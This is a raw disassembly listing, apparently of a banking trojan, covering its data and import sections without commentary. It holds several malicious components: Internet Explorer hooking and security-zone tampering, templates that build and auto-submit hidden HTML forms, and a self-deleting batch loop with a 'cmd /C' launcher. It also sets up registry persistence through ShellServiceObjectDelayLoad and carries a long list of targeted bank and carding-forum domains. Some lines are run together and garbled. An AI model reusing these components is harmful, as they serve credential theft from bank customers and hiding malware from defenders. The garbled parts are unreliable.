aValue:					; DATA XREF: sub_4043B0+10o
		unicode	0, <value>,0
aMicrosoftInter	db 'Microsoft Internet Explorer',0 ; DATA XREF: sub_404211+6Ao
a9ba05972F6a811:			; DATA XREF: sub_404184+1Eo
		unicode	0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0
aHtml_1		db '<HTML><!--',0       ; DATA XREF: sub_403D8E+2B2o
					; sub_403D8E+2BDo ...
aXOkrecv11	db 'X-okRecv11',0       ; DATA XREF: sub_403D8E+24Bo
aIeframe	db 'IEFrame',0          ; DATA XREF: sub_403D8E+1FAo
aSUMicrosoftInt	db '%s%u - Microsoft Internet Explorer',0 ; DATA XREF: sub_403D8E+1D6o
aIexplore_exe_0	db '\Iexplore.exe ',0   ; DATA XREF: sub_403D8E:loc_403E8Eo
aPath		db 'Path',0             ; DATA XREF: sub_403D8E+56o
aSoftwareMicr_2	db 'Software\Microsoft\IE Setup\Setup',0 ; DATA XREF: sub_403D8E+5Bo
aAppeventsSch_0	db 'AppEvents\Schemes\Apps\Explorer\ActivatingDocument\.Current',0
					; DATA XREF: sub_403BC5+1B5o
aAppeventsSchem	db 'AppEvents\Schemes\Apps\Explorer\Navigating\.Current',0
					; DATA XREF: sub_403BC5+198o
aGlobaluseroffl	db 'GlobalUserOffline',0 ; DATA XREF: sub_403BC5+176o
aSoftwareMicr_1	db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0
					; DATA XREF: sub_403BC5+17Bo
aIexplore_exe	db 'iexplore.exe',0     ; DATA XREF: sub_403BC5+152o
aSSoftwareMicro	db '%s\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATU'
					; DATA XREF: sub_403BC5+12Fo
		db 'RE_LOCALMACHINE_LOCKDOWN',0
aYes		db 'yes',0              ; DATA XREF: sub_403BC5+FEo
aBrowsenewproce	db 'BrowseNewProcess',0 ; DATA XREF: sub_403BC5+103o
a_defaultSoftwa	db '.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Brows'
					; DATA XREF: sub_403BC5+108o
		db 'eNewProcess',0
aSoftwarePolici	db 'SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Setti'
					; DATA XREF: sub_403BC5+83o
		db 'ngs\Zones\%u',0
a1601		db '1601',0             ; DATA XREF: sub_403BC5+44o
					; sub_403BC5+65o ...
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones'
					; DATA XREF: sub_403BC5+28o
		db '\%u',0
aHtml_0		db '</html>',0          ; DATA XREF: sub_403659+4E8o
aBody_0		db '</body>',0          ; DATA XREF: sub_403659+4DDo
aScript_0	db '</script>',0        ; DATA XREF: sub_403659+4D2o
aSettimeoutSU	db 'setTimeout("%s()",%u);',0 ; DATA XREF: sub_403659+4B4o
asc_424B31	db '}',0                ; DATA XREF: sub_403659+48Co
aDocument_S_sub	db 'document.%s.submit();',0 ; DATA XREF: sub_403659+46Eo
aFunctionS	db 'function %s(){',0   ; DATA XREF: sub_403659+449o
aC_2u		db '%c%.2u',0           ; DATA XREF: sub_403659+431o
aScript		db '<script>',0         ; DATA XREF: sub_403659+3F7o
aForm		db '</form>',0          ; DATA XREF: sub_403659+3ECo
aInputTypeSubmi	db '<input type="submit" value=',27h,27h,'>',0
					; DATA XREF: sub_403659:loc_403A3Ao
aS		db '%s|',0              ; DATA XREF: sub_403659+31Co
aInputTypeEdi_0	db '<input type="edit" value=',27h,'%s',27h,' name=',27h,'%s%u',27h,'><br>',0Dh,0Ah,0
					; DATA XREF: sub_403659+290o
					; sub_403659+388o
aInputTypeEditV	db '<input type="edit" value=',27h,'%u',27h,' name=',27h,'a',27h,'><br>',0Dh,0Ah,0
					; DATA XREF: sub_403659+1ADo
aFormActionSMet	db '<form action="%s" method="POST" name="%s">',0
					; DATA XREF: sub_403659+176o
aF_3u		db 'f%.3u',0            ; DATA XREF: sub_403659+158o
aBody		db '<body>',0           ; DATA XREF: sub_403659+13Co
aHead_0		db '</head>',0          ; DATA XREF: sub_403659+12Eo
aMicrosoftCorp	db 'MicroSoft-Corp',0   ; DATA XREF: sub_403659+105o
					; sub_403D8E+1D1o
aTitleSUTitle	db '<title>%s%u</title>',0 ; DATA XREF: sub_403659+10Ao
aHead		db '<head>',0           ; DATA XREF: sub_403659+F4o
aHtml		db '<html>',0           ; DATA XREF: sub_403659+E6o
a_htm		db '.htm',0             ; DATA XREF: sub_403659+D6o
aSCC		db '%s%c%c',0           ; DATA XREF: sub_4035B2+84o
					; sub_403659+25Ao
a_		db '*.*',0              ; DATA XREF: sub_4034AD+76o
a?		db '?',0                ; DATA XREF: sub_4034AD+24o
aLu		db '-%lu',0             ; DATA XREF: sub_4032E2+E5o
aLu_0		db '%lu',0              ; DATA XREF: sub_4032E2+C0o
a0x02hx02hx02hx	db '0x%02hx%02hx%02hx%02hx%02hx%02hx',0 ; DATA XREF: sub_4032E2+88o
aSLu		db 'S-%lu-',0           ; DATA XREF: sub_4032E2+36o
aCenter_0	db '</center>',0        ; DATA XREF: sub_403010+2A0o
aCenter		db '<center>',0         ; DATA XREF: sub_403010+280o
aFont		db '</font>',0          ; DATA XREF: sub_403010+260o
aU		db '</u>',0             ; DATA XREF: sub_403010+240o
aB		db '</b>',0             ; DATA XREF: sub_403010+220o
aI		db '</i>',0             ; DATA XREF: sub_403010+200o
aI_0		db '<i>',0              ; DATA XREF: sub_403010+1E0o
aU_0		db '<u>',0              ; DATA XREF: sub_403010+1C0o
aB_1		db '<b>',0              ; DATA XREF: sub_403010+1A0o
aBr		db '<br>',0             ; DATA XREF: sub_403010+180o
asc_424CE1	db '--> ',0             ; DATA XREF: sub_403010+52o
asc_424CE6	db '<!-- ',0            ; DATA XREF: sub_402F2F+37o
asc_424CEC	db 0Dh,0Ah,0		; DATA XREF: sub_402D21+1FCo
					; sub_403010+2C0o ...
aCCC		db '//%c%c%c',0Dh,0Ah,0 ; DATA XREF: sub_402D21+1C9o
aVarCCCU	db 'var %c%c%c = %u;',0 ; DATA XREF: sub_402D21+141o
asc_424D0B	db ' */',0              ; DATA XREF: sub_402D21+ACo
aSC		db '%s%c',0             ; DATA XREF: sub_402D21+7Ao
					; sub_403010-64o ...
asc_424D14	db '/* ',0              ; DATA XREF: sub_402D21+37o
aBlind_user	db 'blind_user',0       ; DATA XREF: sub_402CB2+39o
					; sub_402D13+4o
aSCS		db '%s /C %s',0         ; DATA XREF: sub_402B0D+17Eo
					; sub_405AAC+681o
aLoop@delSNul@i	db ':loop',0Dh,0Ah      ; DATA XREF: sub_402B0D+12Fo
		db '@del %s>nul',0Dh,0Ah
		db '@if exist %s goto loop',0Dh,0Ah
		db '@del %s>nul',0Dh,0Ah,0
aCommand_com	db '\command.com',0     ; DATA XREF: sub_402B0D+DAo
					; sub_405AAC+650o
aSCommand_pif	db '%s\command.pif',0   ; DATA XREF: sub_402B0D+C9o
					; sub_405AAC+63Fo
aSXslfdl9x_bat	db '%s\xslfdl9x.bat',0  ; DATA XREF: sub_402B0D+B1o
aCmd_exe	db '\cmd.exe',0         ; DATA XREF: sub_402B0D+83o
					; sub_405AAC+611o
aSCmd_pif	db '%s\cmd.pif',0       ; DATA XREF: sub_402B0D+72o
					; sub_40523F:loc_4052C8o ...
aSXslfdlnt_bat	db '%s\xslfdlnt.bat',0  ; DATA XREF: sub_402B0D+5Ao
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelay'
					; DATA XREF: sub_40284A+24Ao
					; sub_406344+3BAo
		db 'Load',0
aApartment	db 'Apartment',0        ; DATA XREF: sub_40284A+221o
aThreadingmodel	db 'ThreadingModel',0   ; DATA XREF: sub_40284A+226o
byte_424E15	db 0			; DATA XREF: sub_40284A+20Bo
					; sub_403BC5+18Eo ...
aClsidSInprocse	db 'CLSID\%s\InProcServer32',0 ; DATA XREF: sub_40284A+1F3o
					; sub_406344+3F2o
aSS_dll		db '%s\%s.dll',0        ; DATA XREF: sub_40284A+185o
a04x04x04x04x04	db '{%04X%04X-%04X-%04X-%04X-%04X%04X%04X}',0 ; DATA XREF: sub_40284A+DEo
asc_424E5F	db ' ',0                ; DATA XREF: sub_402784+8Eo
					; sub_404BA0+146o
aSS_exe		db '%s\%s.exe',0        ; DATA XREF: sub_402784+22o
					; sub_406344+187o
a08x		db '%08X',0             ; DATA XREF: sub_4026EE+62o
aP0:					; DATA XREF: sub_402638+18o
					; .text:0040269Ao ...
		unicode	0, <#P0>
aF		db ':F',0               ; DATA XREF: sub_4024E0+18o
					; sub_40251A+19o
aChevychasebank	db 'chevychasebank.com',0 ; DATA XREF: .data:0041A1C4o
aGronxplanets_r	db 'gronxplanets.ru',0  ; DATA XREF: .data:0041A1C0o
aWww_mdmbank_ru	db 'www.mdmbank.ru',0   ; DATA XREF: .data:0041A1BCo
aFethard_biz	db 'fethard.biz',0      ; DATA XREF: .data:0041A1B8o
aRoyalbank_com	db 'royalbank.com',0    ; DATA XREF: .data:0041A1B4o
aSecuritylab_ru	db 'securitylab.ru',0   ; DATA XREF: .data:0041A1B0o
aTatNeftbank_ru	db 'tat-neftbank.ru',0  ; DATA XREF: .data:0041A1ACo
aSeclab_ru	db 'seclab.ru',0        ; DATA XREF: .data:0041A1A8o
aOpenbank_com	db 'openbank.com',0     ; DATA XREF: .data:0041A1A4o
aGutabank_ru	db 'gutabank.ru',0      ; DATA XREF: .data:0041A1A0o
aWww_b2bTrust_c	db 'www.b2b-trust.com',0 ; DATA XREF: .data:0041A19Co
aGrepwareFacili	db 'grepware-facility.ru',0 ; DATA XREF: .data:0041A198o
aWww_uralsib_ru	db 'www.uralsib.ru',0   ; DATA XREF: .data:0041A194o
a53bank_com	db '53bank.com',0       ; DATA XREF: .data:0041A190o
aWww_nbc_caInde	db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0041A18Co
aTotallyfreeban	db 'totallyfreebanking.com',0 ; DATA XREF: .data:0041A188o
aBarclays_com	db 'barclays.com',0     ; DATA XREF: .data:0041A184o
aWww_lbcdirect_	db 'www.lbcdirect.laurentianbank.ca/index.php',0
					; DATA XREF: .data:0041A180o
aKidosBank_ru	db 'kidos-bank.ru',0    ; DATA XREF: .data:0041A17Co
aYambo_biz	db 'yambo.biz',0        ; DATA XREF: .data:0041A178o
aProrat_net	db 'prorat.net',0       ; DATA XREF: .data:0041A174o
aWww1_hsbc_caIn	db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0041A170o
aWww_ovk_ru	db 'www.ovk.ru',0       ; DATA XREF: .data:0041A16Co
aWww_rbc_com	db 'www.rbc.com',0      ; DATA XREF: .data:0041A168o
aMasterX_comFor	db 'master-x.com/forum/',0 ; DATA XREF: .data:0041A164o
aWww_allahabadb	db 'www.allahabadbank.com',0 ; DATA XREF: .data:0041A160o
aOnlineBusiness	db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0041A15Co
aMyonlineaccoun	db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0041A158o
aWww_absolutban	db 'www.absolutbank.ru',0 ; DATA XREF: .data:0041A154o
aWww_nomos_ru	db 'www.nomos.ru',0     ; DATA XREF: .data:0041A150o
aWww_netmagiste	db 'www.netmagister.com',0 ; DATA XREF: .data:0041A14Co
aWww_kmb_ru	db 'www.kmb.ru',0       ; DATA XREF: .data:0041A148o
aWww_spyinstruc	db 'www.spyinstructors.com',0 ; DATA XREF: .data:0041A144o
aAcroleinHawk_r	db 'acrolein-hawk.rubanking.halifax-online.co.uk',0
					; DATA XREF: .data:0041A140o
aWww_icbank_ru	db 'www.icbank.ru',0    ; DATA XREF: .data:0041A13Co
aWww_bankofindi	db 'www.bankofindia.com',0 ; DATA XREF: .data:0041A138o
aPizdabolInc_ru	db 'pizdabol-inc.ru',0  ; DATA XREF: .data:0041A134o
aWww_sbrf_ru	db 'www.sbrf.ru',0      ; DATA XREF: .data:0041A130o
aWww_candidatev	db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0041A12Co
aWww_worldbank_	db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0041A128o
aDigitalRelaxkg	db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0041A124o
aAsmworm_com	db 'asmworm.com',0      ; DATA XREF: .data:0041A11Co
aCrutop_nuVbu_1	db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0041A114o
aWww_uniastrum_	db 'www.uniastrum.ru',0 ; DATA XREF: .data:0041A110o
aCrutop_nuVbu_0	db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0041A10Co
aWww_mmbank_ru	db 'www.mmbank.ru',0    ; DATA XREF: .data:0041A108o
aCrutop_nuVbull	db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0041A104o
aAlfabank_ru	db 'alfabank.ru',0      ; DATA XREF: .data:0041A100o
aHyperSpaceFuel	db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0041A0FCo
aWww_cwbank_com	db 'www.cwbank.com',0   ; DATA XREF: .data:0041A0F8o
aWww_vtb_ru	db 'www.vtb.ru',0       ; DATA XREF: .data:0041A0F4o
aWww_cibc_com	db 'www.cibc.com',0     ; DATA XREF: .data:0041A0F0o
aWww_bankofmadu	db 'www.bankofmadura.com',0 ; DATA XREF: .data:0041A0ECo
aWww_bmo_com	db 'www.bmo.com',0      ; DATA XREF: .data:0041A0E8o
aWww_bankBanque	db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0041A0E4o
aWww_masterbank	db 'www.masterbank.ru',0 ; DATA XREF: .data:0041A0E0o
aEbookfinaltras	db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0041A0DCo
aMasterX_com	db 'master-x.com',0     ; DATA XREF: .data:0041A0D8o
aWww_bbin_ru	db 'www.bbin.ru',0      ; DATA XREF: .data:0041A0D4o
aOlb2_nationet_	db 'olb2.nationet.com',0 ; DATA XREF: .data:0041A0D0o
aWelcome3_smile	db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0041A0CCo
aWww_baltbank_r	db 'www.baltbank.ru',0  ; DATA XREF: .data:0041A0C8o
aNew_egg_com	db 'new.egg.com',0      ; DATA XREF: .data:0041A0C4o
aProdexteam_n_1	db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0041A0C0o
aWww_proxySocks	db 'www.proxy-socks.net',0 ; DATA XREF: .data:0041A0BCo
					; .data:0041A120o
aWww_cbr_ru	db 'www.cbr.ru',0       ; DATA XREF: .data:0041A0B8o
aProdexteam_n_0	db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0041A0B4o
aProdexteam_net	db 'prodexteam.net',0   ; DATA XREF: .data:0041A0B0o
aAtmacasoft_com	db 'atmacasoft.com',0   ; DATA XREF: .data:0041A0ACo
					; .data:0041A118o
aSiliconfirewar	db 'siliconfireware.ru',0 ; DATA XREF: .data:off_41A0A8o
		align 4
dword_425398	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_4253A8	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_404878+12Eo
dword_4253B8	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_4253C8	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_4253D8	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_4253E8	dd 2 dup(0)			dd 0C0h, 46000000h
dword_4253F8	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_425408	dd 10h dup(0)						; sub_406EF0:loc_406F0Ao ...
dword_425448	dd 0							; sub_406E94:loc_406ED6o ...
		dd 0Fh dup(0)
dword_425488	dd 0							; sub_406FF9+825r
dword_42548C	dd 0							; sub_406FF9+82Cr
dword_425490	dd 0							; sub_406FF9+834r
dword_425494	dd 0							; sub_406FF9+83Cr
		align 1000h
_data		ends

; Section 4. (virtual address 00026000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00026000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 426000h
off_426000	dd offset dword_42610C	; DATA XREF: .idata:00426DB0o
		dd 2 dup(0)
		dd offset dword_42610C
		dd offset dword_42610C
off_426014	dd offset dword_42611C	; DATA XREF: .idata:00426DC0o
					; .idata:00426DC4o
		align 10h
		dd offset dword_42611C
		dd offset dword_42611C
off_426028	dd offset dword_426134	; DATA XREF: .idata:00426DD4o
					; .idata:00426DD8o ...
		dd 2 dup(0)
		dd offset dword_426134
		dd offset dword_426134
off_42603C	dd offset dword_426208	; DATA XREF: .idata:00426DF4o
					; .idata:00426DF8o ...
		dd 2 dup(0)
		dd offset dword_426208
		dd offset dword_426208
off_426050	dd offset dword_426284	; DATA XREF: .idata:00426ECCo
					; .idata:00426ED0o ...
		dd 2 dup(0)
		dd offset dword_426284
		dd offset dword_426284
off_426064	dd offset dword_4262A0	; DATA XREF: .idata:00426F4Co
					; .idata:00426F50o ...
		align 10h
		dd offset dword_4262A0
		dd offset dword_4262A0
off_426078	dd offset dword_4262DC	; DATA XREF: .idata:00426F70o
					; .idata:00426F74o ...
		dd 2 dup(0)
		dd offset dword_4262DC
		dd offset dword_4262DC
off_42608C	dd offset dword_42632C	; DATA XREF: .idata:00426FB0o
					; .idata:00426FB4o ...
		dd 2 dup(0)
		dd offset dword_42632C
		dd offset dword_42632C
		dd 1Ah dup(0)
		dd 2655Ch
dword_42610C	dd 2 dup(0)						; .idata:0042600Co ...
		dd 26570h, 2658Ch
dword_42611C	dd 2 dup(0)						; .idata:00426020o ...
		dd 265A8h, 265BCh, 265D0h, 265E0h
dword_426134	dd 2 dup(0)						; .idata:00426034o ...
		dd 265F4h, 26604h, 26620h, 26634h, 2664Ch, 26664h, 26674h
		dd 26684h, 2669Ch, 266B0h, 266C0h, 266D4h, 266ECh, 266FCh
		dd 2670Ch, 2671Ch, 2672Ch, 26744h, 2675Ch, 26770h, 26784h
		dd 26798h, 267B0h, 267BCh, 267D4h, 267E4h, 267F4h, 26804h
		dd 26814h, 26820h, 26830h, 26840h, 26850h, 2685Ch, 26868h
		dd 26878h, 2688Ch, 2689Ch, 268ACh, 268B4h, 268C8h, 268D8h
		dd 268E8h, 268F8h, 2690Ch, 26924h, 26930h, 2693Ch, 26948h
		dd 26954h, 26964h
dword_426208	dd 2 dup(0)						; .idata:00426048o ...
		dd 26974h, 26988h, 26998h, 269A8h, 269B4h, 269C4h, 269D0h
		dd 269E8h, 269F8h, 26A04h, 26A10h, 26A24h, 26A34h, 26A44h
		dd 26A58h, 26A6Ch, 26A80h, 26A94h, 26AA8h, 26ABCh, 26AD0h
		dd 26AE0h, 26AECh, 26B00h, 26B10h, 26B24h, 26B34h, 26B44h
		dd 26B58h
dword_426284	dd 2 dup(0)						; .idata:0042605Co ...
		dd 26B6Ch, 26B80h, 26B90h, 26BA0h, 26BB8h
dword_4262A0	dd 2 dup(0)						; .idata:00426070o ...
		dd 26BC8h, 26BDCh, 26BF4h, 26C08h, 26C18h, 26C28h, 26C3Ch
		dd 26C50h, 26C64h, 26C78h, 26C8Ch, 26CA8h, 26CC0h
dword_4262DC	dd 2 dup(0)						; .idata:00426084o ...
		dd 26CDCh, 26CE4h, 26CF4h, 26D00h, 26D0Ch, 26D14h, 26D1Ch
		dd 26D28h, 26D34h, 26D40h, 26D48h, 26D50h, 26D5Ch, 26D68h
		dd 26D70h, 26D7Ch, 26D88h, 26D94h
dword_42632C	dd 2 dup(0)						; .idata:00426098o ...
dword_426334	dd 77124C05h			align 10h
dword_426340	dd 42C2DE3Dh	; resolved to->WININET.FindFirstUrlCacheEntryAdword_426344	dd 42C2E399h	; resolved to->WININET.FindNextUrlCacheEntryA		align 10h
dword_426350	dd 774FFAC3h	dword_426354	dd 7750CB9Ch	dword_426358	dd 77502A37h	dword_42635C	dd 774FEE36h			dd 2 dup(0)
dword_426368	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_42636C	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_426370	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_426374	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_426378	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_42637C	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_426380	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_426384	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_426388	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_42638C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandledword_426390	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_426394	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_426398	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_42639C	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_4263A0	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4263A4	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_4263A8	dd 7C821BA5h	; resolved to->KERNEL32.GetVolumeInformationAdword_4263AC	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_4263B0	dd 7C8360A9h	; resolved to->KERNEL32.GlobalAddAtomAdword_4263B4	dd 7C830BBBh	; resolved to->KERNEL32.GlobalDeleteAtomdword_4263B8	dd 7C8360C3h	; resolved to->KERNEL32.GlobalFindAtomAdword_4263BC	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_4263C0	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_4263C4	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrementdword_4263C8	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_4263CC	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_4263D0	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_4263D4	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4263D8	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4263DC	dd 7C80EA1Bh	; resolved to->KERNEL32.OpenMutexAdword_4263E0	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_4263E4	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_4263E8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_4263EC	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4263F0	dd 7C90311Bh	; resolved to->NTDLL.RtlZeroMemorydword_4263F4	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_4263F8	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_4263FC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_426400	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_426404	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_426408	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_42640C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_426410	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_426414	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_426418	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_42641C	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_426420	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_426424	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_426428	dd 7C809A09h	; resolved to->KERNEL32.lstrlenWdword_42642C	dd 7C810637h	; resolved to->KERNEL32.CreateThreaddword_426430	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA		dd 2 dup(0)
dword_42643C	dd 7E43212Bh	; resolved to->USER32.GetWindowTextAdword_426440	dd 7E41B6D4h	; resolved to->USER32.GetWindowRectdword_426444	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_426448	dd 7E41BC7Dh	; resolved to->USER32.GetWindowdword_42644C	dd 7E42F420h	; resolved to->USER32.GetClassNameAdword_426450	dd 7E41DA60h	; resolved to->USER32.SetFocusdword_426454	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_426458	dd 7E41EF69h	; resolved to->USER32.LoadCursorAdword_42645C	dd 7E4208CEh	; resolved to->USER32.LoadIconAdword_426460	dd 7E418C2Eh	; resolved to->USER32.SetTimerdword_426464	dd 7E420A36h	; resolved to->USER32.RegisterClassAdword_426468	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_42646C	dd 7E42E002h	; resolved to->USER32.GetMessageAdword_426470	dd 7E41945Dh	; resolved to->USER32.GetWindowLongAdword_426474	dd 7E41D60Dh	; resolved to->USER32.SetWindowLongAdword_426478	dd 7E455BD7h	; resolved to->USER32.CreateDesktopAdword_42647C	dd 7E42E8D1h	; resolved to->USER32.SetThreadDesktopdword_426480	dd 7E419A51h	; resolved to->USER32.GetThreadDesktopdword_426484	dd 7E418BF6h	; resolved to->USER32.TranslateMessagedword_426488	dd 7E4196B8h	; resolved to->USER32.DispatchMessageAdword_42648C	dd 7E42F383h	; resolved to->USER32.SendMessageAdword_426490	dd 7E41A8ADh	; resolved to->USER32.wsprintfAdword_426494	dd 7E42E1D1h	; resolved to->USER32.PostQuitMessagedword_426498	dd 7E41D8A4h	; resolved to->USER32.ShowWindowdword_42649C	dd 7E41FF33h	; resolved to->USER32.CreateWindowExAdword_4264A0	dd 7E41DAEAh	; resolved to->USER32.DestroyWindowdword_4264A4	dd 7E41DBECh	; resolved to->USER32.MoveWindowdword_4264A8	dd 7E41D4EEh	; resolved to->USER32.DefWindowProcAdword_4264AC	dd 7E41F642h	; resolved to->USER32.CallWindowProcA		dd 2 dup(0)
dword_4264B8	dd 77F161D1h	; resolved to->GDI32.GetStockObjectdword_4264BC	dd 77F15E39h	; resolved to->GDI32.SetBkColordword_4264C0	dd 77F15D87h	; resolved to->GDI32.SetTextColordword_4264C4	dd 77F1D991h	; resolved to->GDI32.CreateBrushIndirectdword_4264C8	dd 77F3B730h	; resolved to->GDI32.CreateFontA		dd 2 dup(0)
dword_4264D4	dd 77DD7753h	; resolved to->ADVAPI32.OpenProcessTokendword_4264D8	dd 77DD7B76h	; resolved to->ADVAPI32.GetTokenInformationdword_4264DC	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_4264E0	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKeydword_4264E4	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_4264E8	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_4264EC	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_4264F0	dd 77DF08D5h	; resolved to->ADVAPI32.GetSecurityInfodword_4264F4	dd 77DF087Fh	; resolved to->ADVAPI32.SetSecurityInfodword_4264F8	dd 77E215D9h	; resolved to->ADVAPI32.SetEntriesInAclAdword_4264FC	dd 77DFD4B0h	; resolved to->ADVAPI32.GetSidIdentifierAuthoritydword_426500	dd 77DF9839h	; resolved to->ADVAPI32.GetSidSubAuthoritydword_426504	dd 77DF986Bh	; resolved to->ADVAPI32.GetSidSubAuthorityCount		align 10h
dword_426510	dd 73D96FEBh	dword_426514	dd 73D91C28h	dword_426518	dd 73D92B86h	dword_42651C	dd 73D9A3B0h	dword_426520	dd 73D9B9A2h	dword_426524	dd 73D91F60h	dword_426528	dd 73D9D320h	dword_42652C	dd 73D9D340h	dword_426530	dd 73D9D5E0h	dword_426534	dd 73D9242Ch	dword_426538	dd 73D9DBAFh	dword_42653C	dd 73D92226h	dword_426540	dd 73D9E5C5h	dword_426544	dd 73D9DBA2h	dword_426548	dd 73D9E61Eh	dword_42654C	dd 73D9E65Ch	dword_426550	dd 73D9E69Ch	dword_426554	dd 73D9F24Ch			dd 0
		dd 79530046h, 6C6C4173h, 7453636Fh, 676E6972h, 0
		dd 69460015h, 6946646Eh, 55747372h, 61436C72h, 45656863h
		dd 7972746Eh, 41h, 6946001Ch, 654E646Eh, 72557478h, 6361436Ch
		dd 6E456568h, 41797274h, 0
		dd 6F43006Ah, 61657243h, 6E496574h, 6E617473h, 6563h, 4C43007Ch
		dd 46444953h, 536D6F72h, 6E697274h, 67h, 6F430058h, 74696E49h
		dd 696C6169h, 657Ah, 6F43005Bh,	6E696E55h, 61697469h, 657A696Ch
		dd 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 78450083h, 646E6170h
		dd 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h, 417367h
		dd 654700CAh, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 654700DEh
		dd 72754374h, 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h
		dd 72754374h, 746E6572h, 65726854h, 64496461h, 0
		dd 654700F8h, 6C694674h, 7A695365h, 65h, 654700FAh, 6C694674h
		dd 6D695465h, 65h, 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h
		dd 41656D61h, 0
		dd 6547010Ch, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6C43001Bh
		dd 4865736Fh, 6C646E61h, 65h, 65470122h, 6F725074h, 64644163h
		dd 73736572h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	6547014Dh, 6D655474h, 74615070h, 4168h,	65470155h
		dd 63695474h, 756F436Bh, 746Eh,	6547015Ch, 72655674h, 6E6F6973h
		dd 0
